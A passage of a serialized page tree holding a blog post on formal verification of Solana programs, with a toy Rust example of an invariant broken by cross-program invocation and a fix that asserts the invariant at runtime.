yle":1158},[30989],{"type":30,"value":436},{"type":24,"tag":930,"props":30991,"children":30992},{"style":959},[30993],{"type":30,"value":24085},{"type":24,"tag":930,"props":30995,"children":30996},{"style":1158},[30997],{"type":30,"value":436},{"type":24,"tag":930,"props":30999,"children":31000},{"style":959},[31001],{"type":30,"value":24234},{"type":24,"tag":930,"props":31003,"children":31004},{"class":932,"line":1057},[31005],{"type":24,"tag":930,"props":31006,"children":31007},{"style":959},[31008],{"type":30,"value":23362},{"type":24,"tag":930,"props":31010,"children":31011},{"class":932,"line":1066},[31012,31016,31020,31024,31028,31032],{"type":24,"tag":930,"props":31013,"children":31014},{"style":937},[31015],{"type":30,"value":16797},{"type":24,"tag":930,"props":31017,"children":31018},{"style":937},[31019],{"type":30,"value":24253},{"type":24,"tag":930,"props":31021,"children":31022},{"style":943},[31023],{"type":30,"value":24258},{"type":24,"tag":930,"props":31025,"children":31026},{"style":959},[31027],{"type":30,"value":12694},{"type":24,"tag":930,"props":31029,"children":31030},{"style":1158},[31031],{"type":30,"value":12699},{"type":24,"tag":930,"props":31033,"children":31034},{"style":959},[31035],{"type":30,"value":12704},{"type":24,"tag":33,"props":31037,"children":31038},{},[31039,31041,31047,31049,31055],{"type":30,"value":31040},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":24,"tag":156,"props":31042,"children":31044},{"className":31043},[],[31045],{"type":30,"value":31046},"keys.len() == 0",{"type":30,"value":31048}," and allows us to prove the biconditional ",{"type":24,"tag":156,"props":31050,"children":31052},{"className":31051},[],[31053],{"type":30,"value":31054},"(keys.len() >= 1) -> (instruction succeeds)",{"type":30,"value":436},{"type":24,"tag":151,"props":31057,"children":31059},{"id":31058},"safety-guarantees",[31060],{"type":30,"value":25886},{"type":24,"tag":33,"props":31062,"children":31063},{},[31064],{"type":30,"value":31065},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":24,"tag":33,"props":31067,"children":31068},{},[31069],{"type":30,"value":31070},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":24,"tag":33,"props":31072,"children":31073},{},[31074,31076,31082],{"type":30,"value":31075},"In the multisig program this happens in the ",{"type":24,"tag":156,"props":31077,"children":31079},{"className":31078},[],[31080],{"type":30,"value":31081},"execute_transaction",{"type":30,"value":31083}," instruction.",{"type":24,"tag":33,"props":31085,"children":31086},{},[31087],{"type":24,"tag":6032,"props":31088,"children":31089},{},[31090],{"type":30,"value":31091},"So what do you do?",{"type":24,"tag":33,"props":31093,"children":31094},{},[31095],{"type":30,"value":31096},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":24,"tag":920,"props":31098,"children":31100},{"code":31099,"language":6101,"meta":7,"className":6102,"style":7},"#[derive(Accounts)]\npub MyCtx {\n    #[account(mut)]\n    pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n    pub bad: bool\n}\n\nimpl Acc {\n    pub fn put_into_bad_state() {\n        self.bad = true;\n    }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n    Ok(())\n}\n",[31101],{"type":24,"tag":156,"props":31102,"children":31103},{"__ignoreMap":7},[31104,31119,31135,31150,31191,31198,31205,31212,31229,31245,31266,31273,31280,31296,31316,31344,31351,31358,31365,31373,31426,31452,31459,31488,31512,31547,31554,31565],{"type":24,"tag":930,"props":31105,"children":31106},{"class":932,"line":933},[31107,31111,31115],{"type":24,"tag":930,"props":31108,"children":31109},{"style":959},[31110],{"type":30,"value":25939},{"type":24,"tag":930,"props":31112,"children":31113},{"style":943},[31114],{"type":30,"value":25944},{"type":24,"tag":930,"props":31116,"children":31117},{"style":959},[31118],{"type":30,"value":23362},{"type":24,"tag":930,"props":31120,"children":31121},{"class":932,"line":984},[31122,31126,31131],{"type":24,"tag":930,"props":31123,"children":31124},{"style":937},[31125],{"type":30,"value":16797},{"type":24,"tag":930,"props":31127,"children":31128},{"style":943},[31129],{"type":30,"value":31130}," MyCtx",{"type":24,"tag":930,"props":31132,"children":31133},{"style":959},[31134],{"type":30,"value":981},{"type":24,"tag":930,"props":31136,"children":31137},{"class":932,"line":993},[31138,31142,31146],{"type":24,"tag":930,"props":31139,"children":31140},{"style":959},[31141],{"type":30,"value":26231},{"type":24,"tag":930,"props":31143,"children":31144},{"style":937},[31145],{"type":30,"value":6839},{"type":24,"tag":930,"props":31147,"children":31148},{"style":959},[31149],{"type":30,"value":23362},{"type":24,"tag":930,"props":31151,"children":31152},{"class":932,"line":1057},[31153,31157,31162,31166,31170,31174,31178,31182,31187],{"type":24,"tag":930,"props":31154,"children":31155},{"style":937},[31156],{"type":30,"value":23945},{"type":24,"tag":930,"props":31158,"children":31159},{"style":1023},[31160],{"type":30,"value":31161}," my_account",{"type":24,"tag":930,"props":31163,"children":31164},{"style":1158},[31165],{"type":30,"value":476},{"type":24,"tag":930,"props":31167,"children":31168},{"style":943},[31169],{"type":30,"value":26196},{"type":24,"tag":930,"props":31171,"children":31172},{"style":959},[31173],{"type":30,"value":26024},{"type":24,"tag":930,"props":31175,"children":31176},{"style":943},[31177],{"type":30,"value":26029},{"type":24,"tag":930,"props":31179,"children":31180},{"style":959},[31181],{"type":30,"value":962},{"type":24,"tag":930,"props":31183,"children":31184},{"style":943},[31185],{"type":30,"value":31186},"Acc",{"type":24,"tag":930,"props":31188,"children":31189},{"style":959},[31190],{"type":30,"value":9105},{"type":24,"tag":930,"props":31192,"children":31193},{"class":932,"line":1066},[31194],{"type":24,"tag":930,"props":31195,"children":31196},{"style":959},[31197],{"type":30,"value":2528},{"type":24,"tag":930,"props":31199,"children":31200},{"class":932,"line":1075},[31201],{"type":24,"tag":930,"props":31202,"children":31203},{"emptyLinePlaceholder":16},[31204],{"type":30,"value":2412},{"type":24,"tag":930,"props":31206,"children":31207},{"class":932,"line":1122},[31208],{"type":24,"tag":930,"props":31209,"children":31210},{"style":959},[31211],{"type":30,"value":23872},{"type":24,"tag":930,"props":31213,"children":31214},{"class":932,"line":1131},[31215,31220,31224],{"type":24,"tag":930,"props":31216,"children":31217},{"style":959},[31218],{"type":30,"value":31219},"#[invariant(bad ",{"type":24,"tag":930,"props":31221,"children":31222},{"style":1158},[31223],{"type":30,"value":1239},{"type":24,"tag":930,"props":31225,"children":31226},{"style":959},[31227],{"type":30,"value":31228}," false)]\n",{"type":24,"tag":930,"props":31230,"children":31231},{"class":932,"line":1144},[31232,31236,31241],{"type":24,"tag":930,"props":31233,"children":31234},{"style":937},[31235],{"type":30,"value":12509},{"type":24,"tag":930,"props":31237,"children":31238},{"style":943},[31239],{"type":30,"value":31240}," Acc",{"type":24,"tag":930,"props":31242,"children":31243},{"style":959},[31244],{"type":30,"value":981},{"type":24,"tag":930,"props":31246,"children":31247},{"class":932,"line":1169},[31248,31252,31257,31261],{"type":24,"tag":930,"props":31249,"children":31250},{"style":937},[31251],{"type":30,"value":23945},{"type":24,"tag":930,"props":31253,"children":31254},{"style":1023},[31255],{"type":30,"value":31256}," bad",{"type":24,"tag":930,"props":31258,"children":31259},{"style":1158},[31260],{"type":30,"value":476},{"type":24,"tag":930,"props":31262,"children":31263},{"style":943},[31264],{"type":30,"value":31265}," bool\n",{"type":24,"tag":930,"props":31267,"children":31268},{"class":932,"line":1191},[31269],{"type":24,"tag":930,"props":31270,"children":31271},{"style":959},[31272],{"type":30,"value":2528},{"type":24,"tag":930,"props":31274,"children":31275},{"class":932,"line":1223},[31276],{"type":24,"tag":930,"props":31277,"children":31278},{"emptyLinePlaceholder":16},[31279],{"type":30,"value":2412},{"type":24,"tag":930,"props":31281,"children":31282},{"class":932,"line":1281},[31283,31288,31292],{"type":24,"tag":930,"props":31284,"children":31285},{"style":937},[31286],{"type":30,"value":31287},"impl",{"type":24,"tag":930,"props":31289,"children":31290},{"style":943},[31291],{"type":30,"value":31240},{"type":24,"tag":930,"props":31293,"children":31294},{"style":959},[31295],{"type":30,"value":981},{"type":24,"tag":930,"props":31297,"children":31298},{"class":932,"line":1313},[31299,31303,31307,31312],{"type":24,"tag":930,"props":31300,"children":31301},{"style":937},[31302],{"type":30,"value":23945},{"type":24,"tag":930,"props":31304,"children":31305},{"style":937},[31306],{"type":30,"value":16802},{"type":24,"tag":930,"props":31308,"children":31309},{"style":1002},[31310],{"type":30,"value":31311}," put_into_bad_state",{"type":24,"tag":930,"props":31313,"children":31314},{"style":959},[31315],{"type":30,"value":18839},{"type":24,"tag":930,"props":31317,"children":31318},{"class":932,"line":1335},[31319,31323,31327,31332,31336,31340],{"type":24,"tag":930,"props":31320,"children":31321},{"style":937},[31322],{"type":30,"value":30452},{"type":24,"tag":930,"props":31324,"children":31325},{"style":1158},[31326],{"type":30,"value":436},{"type":24,"tag":930,"props":31328,"children":31329},{"style":959},[31330],{"type":30,"value":31331},"bad ",{"type":24,"tag":930,"props":31333,"children":31334},{"style":1158},[31335],{"type":30,"value":1161},{"type":24,"tag":930,"props":31337,"children":31338},{"style":937},[31339],{"type":30,"value":15576},{"type":24,"tag":930,"props":31341,"children":31342},{"style":959},[31343],{"type":30,"value":5539},{"type":24,"tag":930,"props":31345,"children":31346},{"class":932,"line":1376},[31347],{"type":24,"tag":930,"props":31348,"children":31349},{"style":959},[31350],{"type":30,"value":1840},{"type":24,"tag":930,"props":31352,"children":31353},{"class":932,"line":1418},[31354],{"type":24,"tag":930,"props":31355,"children":31356},{"style":959},[31357],{"type":30,"value":2528},{"type":24,"tag":930,"props":31359,"children":31360},{"class":932,"line":1438},[31361],{"type":24,"tag":930,"props":31362,"children":31363},{"emptyLinePlaceholder":16},[31364],{"type":30,"value":2412},{"type":24,"tag":930,"props":31366,"children":31367},{"class":932,"line":1479},[31368],{"type":24,"tag":930,"props":31369,"children":31370},{"style":1422},[31371],{"type":30,"value":31372},"// Instruction handler:\n",{"type":24,"tag":930,"props":31374,"children":31375},{"class":932,"line":1506},[31376,31380,31385,31389,31393,31397,31401,31405,31410,31414,31418,31422],{"type":24,"tag":930,"props":31377,"children":31378},{"style":937},[31379],{"type":30,"value":23370},{"type":24,"tag":930,"props":31381,"children":31382},{"style":1002},[31383],{"type":30,"value":31384}," hard_to_verify",{"type":24,"tag":930,"props":31386,"children":31387},{"style":959},[31388],{"type":30,"value":1010},{"type":24,"tag":930,"props":31390,"children":31391},{"style":1023},[31392],{"type":30,"value":23384},{"type":24,"tag":930,"props":31394,"children":31395},{"style":1158},[31396],{"type":30,"value":476},{"type":24,"tag":930,"props":31398,"children":31399},{"style":943},[31400],{"type":30,"value":23393},{"type":24,"tag":930,"props":31402,"children":31403},{"style":959},[31404],{"type":30,"value":1350},{"type":24,"tag":930,"props":31406,"children":31407},{"style":943},[31408],{"type":30,"value":31409},"MyCtx",{"type":24,"tag":930,"props":31411,"children":31412},{"style":959},[31413],{"type":30,"value":23550},{"type":24,"tag":930,"props":31415,"children":31416},{"style":1158},[31417],{"type":30,"value":16864},{"type":24,"tag":930,"props":31419,"children":31420},{"style":943},[31421],{"type":30,"value":16869},{"type":24,"tag":930,"props":31423,"children":31424},{"style":959},[31425],{"type":30,"value":23435},{"type":24,"tag":930,"props":31427,"children":31428},{"class":932,"line":1525},[31429,31434,31438,31442,31447],{"type":24,"tag":930,"props":31430,"children":31431},{"style":1002},[31432],{"type":30,"value":31433},"    invoke_signed",{"type":24,"tag":930,"props":31435,"children":31436},{"style":959},[31437],{"type":30,"value":1010},{"type":24,"tag":930,"props":31439,"children":31440},{"style":1158},[31441],{"type":30,"value":12699},{"type":24,"tag":930,"props":31443,"children":31444},{"style":959},[31445],{"type":30,"value":31446},"); ",{"type":24,"tag":930,"props":31448,"children":31449},{"style":1422},[31450],{"type":30,"value":31451},"// Cross-program invocation\n",{"type":24,"tag":930,"props":31453,"children":31454},{"class":932,"line":1569},[31455],{"type":24,"tag":930,"props":31456,"children":31457},{"emptyLinePlaceholder":16},[31458],{"type":30,"value":2412},{"type":24,"tag":930,"props":31460,"children":31461},{"class":932,"line":1592},[31462,31466,31471,31475,31479,31483],{"type":24,"tag":930,"props":31463,"children":31464},{"style":937},[31465],{"type":30,"value":6122},{"type":24,"tag":930,"props":31467,"children":31468},{"style":1023},[31469],{"type":30,"value":31470}," invoke_res",{"type":24,"tag":930,"props":31472,"children":31473},{"style":1158},[31474],{"type":30,"value":6137},{"type":24,"tag":930,"props":31476,"children":31477},{"style":1158},[31478],{"type":30,"value":28391},{"type":24,"tag":930,"props":31480,"children":31481},{"style":959},[31482],{"type":30,"value":20328},{"type":24,"tag":930,"props":31484,"children":31485},{"style":1422},[31486],{"type":30,"value":31487},"// fetch result of invocation\n",{"type":24,"tag":930,"props":31489,"children":31490},{"class":932,"line":1610},[31491,31495,31499,31503,31508],{"type":24,"tag":930,"props":31492,"children":31493},{"style":1079},[31494],{"type":30,"value":15386},{"type":24,"tag":930,"props":31496,"children":31497},{"style":1023},[31498],{"type":30,"value":31470},{"type":24,"tag":930,"props":31500,"children":31501},{"style":1158},[31502],{"type":30,"value":6402},{"type":24,"tag":930,"props":31504,"children":31505},{"style":1242},[31506],{"type":30,"value":31507}," 5",{"type":24,"tag":930,"props":31509,"children":31510},{"style":959},[31511],{"type":30,"value":981},{"type":24,"tag":930,"props":31513,"children":31514},{"class":932,"line":1628},[31515,31519,31523,31528,31532,31537,31542],{"type":24,"tag":930,"props":31516,"children":31517},{"style":1023},[31518],{"type":30,"value":29278},{"type":24,"tag":930,"props":31520,"children":31521},{"style":1158},[31522],{"type":30,"value":436},{"type":24,"tag":930,"props":31524,"children":31525},{"style":959},[31526],{"type":30,"value":31527},"my_account",{"type":24,"tag":930,"props":31529,"children":31530},{"style":1158},[31531],{"type":30,"value":436},{"type":24,"tag":930,"props":31533,"children":31534},{"style":1002},[31535],{"type":30,"value":31536},"put_into_bad_state",{"type":24,"tag":930,"props":31538,"children":31539},{"style":959},[31540],{"type":30,"value":31541},"(); ",{"type":24,"tag":930,"props":31543,"children":31544},{"style":1422},[31545],{"type":30,"value":31546},"// corrupt our account\n",{"type":24,"tag":930,"props":31548,"children":31549},{"class":932,"line":1637},[31550],{"type":24,"tag":930,"props":31551,"children":31552},{"style":959},[31553],{"type":30,"value":1840},{"type":24,"tag":930,"props":31555,"children":31556},{"class":932,"line":1646},[31557,31561],{"type":24,"tag":930,"props":31558,"children":31559},{"style":943},[31560],{"type":30,"value":17439},{"type":24,"tag":930,"props":31562,"children":31563},{"style":959},[31564],{"type":30,"value":17444},{"type":24,"tag":930,"props":31566,"children":31567},{"class":932,"line":1673},[31568],{"type":24,"tag":930,"props":31569,"children":31570},{"style":959},[31571],{"type":30,"value":2528},{"type":24,"tag":33,"props":31573,"children":31574},{},[31575,31577,31582],{"type":30,"value":31576},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":24,"tag":156,"props":31578,"children":31580},{"className":31579},[],[31581],{"type":30,"value":31527},{"type":30,"value":31583},") will be maintained as long as the instruction succeeds.",{"type":24,"tag":33,"props":31585,"children":31586},{},[31587],{"type":30,"value":31588},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":24,"tag":33,"props":31590,"children":31591},{},[31592,31594,31599],{"type":30,"value":31593},"However, we can ",{"type":24,"tag":6032,"props":31595,"children":31596},{},[31597],{"type":30,"value":31598},"augment",{"type":30,"value":31600}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":24,"tag":33,"props":31602,"children":31603},{},[31604],{"type":30,"value":31605},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":24,"tag":920,"props":31607,"children":31609},{"code":31608,"language":6101,"meta":7,"className":6102,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n\n    // Enforce invariants at runtime\n    assert(ctx.my_account.invariant());\n\n    Ok(())\n}\n",[31610],{"type":24,"tag":156,"props":31611,"children":31612},{"__ignoreMap":7},[31613,31621,31672,31695,31702,31729,31752,31783,31790,31797,31805,31840,31847,31858],{"type":24,"tag":930,"props":31614,"children":31615},{"class":932,"line":933},[31616],{"type":24,"tag":930,"props":31617,"children":31618},{"style":1158},[31619],{"type":30,"value":31620},"...\n",{"type":24,"tag":930,"props":31622,"children":31623},{"class":932,"line":984},[31624,31628,31632,31636,31640,31644,31648,31652,31656,31660,31664,31668],{"type":24,"tag":930,"props":31625,"children":31626},{"style":937},[31627],{"type":30,"value":23370},{"type":24,"tag":930,"props":31629,"children":31630},{"style":1002},[31631],{"type":30,"value":31384},{"type":24,"tag":930,"props":31633,"children":31634},{"style":959},[31635],{"type":30,"value":1010},{"type":24,"tag":930,"props":31637,"children":31638},{"style":1023},[31639],{"type":30,"value":23384},{"type":24,"tag":930,"props":31641,"children":31642},{"style":1158},[31643],{"type":30,"value":476},{"type":24,"tag":930,"props":31645,"children":31646},{"style":943},[31647],{"type":30,"value":23393},{"type":24,"tag":930,"props":31649,"children":31650},{"style":959},[31651],{"type":30,"value":1350},{"type":24,"tag":930,"props":31653,"children":31654},{"style":943},[31655],{"type":30,"value":31409},{"type":24,"tag":930,"props":31657,"children":31658},{"style":959},[31659],{"type":30,"value":23550},{"type":24,"tag":930,"props":31661,"children":31662},{"style":1158},[31663],{"type":30,"value":16864},{"type":24,"tag":930,"props":31665,"children":31666},{"style":943},[31667],{"type":30,"value":16869},{"type":24,"tag":930,"props":31669,"children":31670},{"style":959},[31671],{"type":30,"value":23435},{"type":24,"tag":930,"props":31673,"children":31674},{"class":932,"line":993},[31675,31679,31683,31687,31691],{"type":24,"tag":930,"props":31676,"children":31677},{"style":1002},[31678],{"type":30,"value":31433},{"type":24,"tag":930,"props":31680,"children":31681},{"style":959},[31682],{"type":30,"value":1010},{"type":24,"tag":930,"props":31684,"children":31685},{"style":1158},[31686],{"type":30,"value":12699},{"type":24,"tag":930,"props":31688,"children":31689},{"style":959},[31690],{"type":30,"value":31446},{"type":24,"tag":930,"props":31692,"children":31693},{"style":1422},[31694],{"type":30,"value":31451},{"type":24,"tag":930,"props":31696,"children":31697},{"class":932,"line":1057},[31698],{"type":24,"tag":930,"props":31699,"children":31700},{"emptyLinePlaceholder":16},[31701],{"type":30,"value":2412},{"type":24,"tag":930,"props":31703,"children":31704},{"class":932,"line":1066},[31705,31709,31713,31717,31721,31725],{"type":24,"tag":930,"props":31706,"children":31707},{"style":937},[31708],{"type":30,"value":6122},{"type":24,"tag":930,"props":31710,"children":31711},{"style":1023},[31712],{"type":30,"value":31470},{"type":24,"tag":930,"props":31714,"children":31715},{"style":1158},[31716],{"type":30,"value":6137},{"type":24,"tag":930,"props":31718,"children":31719},{"style":1158},[31720],{"type":30,"value":28391},{"type":24,"tag":930,"props":31722,"children":31723},{"style":959},[31724],{"type":30,"value":20328},{"type":24,"tag":930,"props":31726,"children":31727},{"style":1422},[31728],{"type":30,"value":31487},{"type":24,"tag":930,"props":31730,"children":31731},{"class":932,"line":1075},[31732,31736,31740,31744,31748],{"type":24,"tag":930,"props":31733,"children":31734},{"style":1079},[31735],{"type":30,"value":15386},{"type":24,"tag":930,"props":31737,"children":31738},{"style":1023},[31739],{"type":30,"value":31470},{"type":24,"tag":930,"props":31741,"children":31742},{"style":1158},[31743],{"type":30,"value":6402},{"type":24,"tag":930,"props":31745,"children":31746},{"style":1242},[31747],{"type":30,"value":31507},{"type":24,"tag":930,"props":31749,"children":31750},{"style":959},[31751],{"type":30,"value":981},{"type":24,"tag":930,"props":31753,"children":31754},{"class":932,"line":1122},[31755,31759,31763,31767,31771,31775,31779],{"type":24,"tag":930,"props":31756,"children":31757},{"style":1023},[31758],{"type":30,"value":29278},{"type":24,"tag":930,"props":31760,"children":31761},{"style":1158},[31762],{"type":30,"value":436},{"type":24,"tag":930,"props":31764,"children":31765},{"style":959},[31766],{"type":30,"value":31527},{"type":24,"tag":930,"props":31768,"children":31769},{"style":1158},[31770],{"type":30,"value":436},{"type":24,"tag":930,"props":31772,"children":31773},{"style":1002},[31774],{"type":30,"value":31536},{"type":24,"tag":930,"props":31776,"children":31777},{"style":959},[31778],{"type":30,"value":31541},{"type":24,"tag":930,"props":31780,"children":31781},{"style":1422},[31782],{"type":30,"value":31546},{"type":24,"tag":930,"props":31784,"children":31785},{"class":932,"line":1131},[31786],{"type":24,"tag":930,"props":31787,"children":31788},{"style":959},[31789],{"type":30,"value":1840},{"type":24,"tag":930,"props":31791,"children":31792},{"class":932,"line":1144},[31793],{"type":24,"tag":930,"props":31794,"children":31795},{"emptyLinePlaceholder":16},[31796],{"type":30,"value":2412},{"type":24,"tag":930,"props":31798,"children":31799},{"class":932,"line":1169},[31800],{"type":24,"tag":930,"props":31801,"children":31802},{"style":1422},[31803],{"type":30,"value":31804},"    // Enforce invariants at runtime\n",{"type":24,"tag":930,"props":31806,"children":31807},{"class":932,"line":1191},[31808,31812,31816,31820,31824,31828,31832,31836],{"type":24,"tag":930,"props":31809,"children":31810},{"style":1002},[31811],{"type":30,"value":22342},{"type":24,"tag":930,"props":31813,"children":31814},{"style":959},[31815],{"type":30,"value":1010},{"type":24,"tag":930,"props":31817,"children":31818},{"style":1023},[31819],{"type":30,"value":23384},{"type":24,"tag":930,"props":31821,"children":31822},{"style":1158},[31823],{"type":30,"value":436},{"type":24,"tag":930,"props":31825,"children":31826},{"style":959},[31827],{"type":30,"value":31527},{"type":24,"tag":930,"props":31829,"children":31830},{"style":1158},[31831],{"type":30,"value":436},{"type":24,"tag":930,"props":31833,"children":31834},{"style":1002},[31835],{"type":30,"value":24879},{"type":24,"tag":930,"props":31837,"children":31838},{"style":959},[31839],{"type":30,"value":18528},{"type":24,"tag":930,"props":31841,"children":31842},{"class":932,"line":1223},[31843],{"type":24,"tag":930,"props":31844,"children":31845},{"emptyLinePlaceholder":16},[31846],{"type":30,"value":2412},{"type":24,"tag":930,"props":31848,"children":31849},{"class":932,"line":1281},[31850,31854],{"type":24,"tag":930,"props":31851,"children":31852},{"style":943},[31853],{"type":30,"value":17439},{"type":24,"tag":930,"props":31855,"children":31856},{"style":959},[31857],{"type":30,"value":17444},{"type":24,"tag":930,"props":31859,"children":31860},{"class":932,"line":1313},[31861],{"type":24,"tag":930,"props":31862,"children":31863},{"style":959},[31864],{"type":30,"value":2528},{"type":24,"tag":33,"props":31866,"children":31867},{},[31868,31870,31875,31877,31882,31884,31889],{"type":30,"value":31869},"Here, we explicitly ",{"type":24,"tag":156,"props":31871,"children":31873},{"className":31872},[],[31874],{"type":30,"value":23087},{"type":30,"value":31876}," that our invariants hold at ",{"type":24,"tag":6032,"props":31878,"children":31879},{},[31880],{"type":30,"value":31881},"runtime",{"type":30,"value":31883}," which allows us to be assured that ",{"type":24,"tag":156,"props":31885,"children":31887},{"className":31886},[],[31888],{"type":30,"value":31527},{"type":30,"value":31890}," will not enter a bad state as a result of some unverifiable behavior.",{"type":24,"tag":33,"props":31892,"children":31893},{},[31894],{"type":30,"value":31895},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":24,"tag":68,"props":31897,"children":31899},{"id":31898},"challenges-of-formal-verification-on-solana",[31900],{"type":30,"value":31901},"Challenges of formal verification on Solana",{"type":24,"tag":151,"props":31903,"children":31905},{"id":31904},"expensive-computation",[31906],{"type":30,"value":31907},"Expensive computation",{"type":24,"tag":33,"props":31909,"children":31910},{},[31911,31913,31918],{"type":30,"value":31912},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":24,"tag":6032,"props":31914,"children":31915},{},[31916],{"type":30,"value":31917},"path explosion",{"type":30,"value":31919},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":24,"tag":33,"props":31921,"children":31922},{},[31923,31925,31930],{"type":30,"value":31924},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":24,"tag":6032,"props":31926,"children":31927},{},[31928],{"type":30,"value":31929},"formal verification friendly",{"type":30,"value":31931},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":24,"tag":33,"props":31933,"children":31934},{},[31935,31937,31942,31944,31949],{"type":30,"value":31936},"For example, when verifying things like the uniqueness of a ",{"type":24,"tag":156,"props":31938,"children":31940},{"className":31939},[],[31941],{"type":30,"value":24500},{"type":30,"value":31943}," in a ",{"type":24,"tag":156,"props":31945,"children":31947},{"className":31946},[],[31948],{"type":30,"value":20312},{"type":30,"value":31950},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":24,"tag":33,"props":31952,"children":31953},{},[31954,31956,31961,31963,31968,31970,31975,31977,31982,31984,31989,31991,31996],{"type":30,"value":31955},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":24,"tag":156,"props":31957,"children":31959},{"className":31958},[],[31960],{"type":30,"value":20312},{"type":30,"value":31962}," or a 32-byte ",{"type":24,"tag":156,"props":31964,"children":31966},{"className":31965},[],[31967],{"type":30,"value":24500},{"type":30,"value":31969},". Instead, our tool can substitute in ",{"type":24,"tag":6032,"props":31971,"children":31972},{},[31973],{"type":30,"value":31974},"cheaper",{"type":30,"value":31976}," types and functions, such as a 4-byte ",{"type":24,"tag":156,"props":31978,"children":31980},{"className":31979},[],[31981],{"type":30,"value":24500},{"type":30,"value":31983}," struct and a fixed-size, array-backed ",{"type":24,"tag":156,"props":31985,"children":31987},{"className":31986},[],[31988],{"type":30,"value":20312},{"type":30,"value":31990}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":24,"tag":6032,"props":31992,"children":31993},{},[31994],{"type":30,"value":31995},"much",{"type":30,"value":31997}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":24,"tag":33,"props":31999,"children":32000},{},[32001],{"type":30,"value":32002},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":24,"tag":151,"props":32004,"children":32006},{"id":32005},"runtime-environment",[32007],{"type":30,"value":32008},"Runtime Environment",{"type":24,"tag":33,"props":32010,"children":32011},{},[32012],{"type":30,"value":32013},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":24,"tag":33,"props":32015,"children":32016},{},[32017],{"type":30,"value":32018},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":24,"tag":33,"props":32020,"children":32021},{},[32022],{"type":30,"value":32023},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":24,"tag":68,"props":32025,"children":32026},{"id":5876},[32027],{"type":30,"value":5879},{"type":24,"tag":33,"props":32029,"children":32030},{},[32031],{"type":30,"value":32032},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":24,"tag":33,"props":32034,"children":32035},{},[32036],{"type":30,"value":32037},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":24,"tag":21895,"props":32039,"children":32040},{},[],{"type":24,"tag":33,"props":32042,"children":32043},{},[32044],{"type":24,"tag":6032,"props":32045,"children":32046},{},[32047,32049,32054,32055,32059],{"type":30,"value":32048},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":24,"tag":37,"props":32050,"children":32052},{"href":21978,"rel":32051},[41],[32053],{"type":30,"value":21982},{"type":30,"value":21984},{"type":24,"tag":37,"props":32056,"children":32057},{"href":21987},[32058],{"type":30,"value":21990},{"type":30,"value":436},{"type":24,"tag":5957,"props":32061,"children":32062},{},[32063],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":32065},[32066,32072,32076,32081,32087,32091],{"id":22052,"depth":984,"text":22055,"children":32067},[32068,32069,32070,32071],{"id":22058,"depth":993,"text":22061},{"id":22126,"depth":993,"text":22129},{"id":23007,"depth":993,"text":23010},{"id":23047,"depth":993,"text":23050},{"id":23100,"depth":984,"text":32073,"children":32074},"Specification: How can we describe what we want our program to 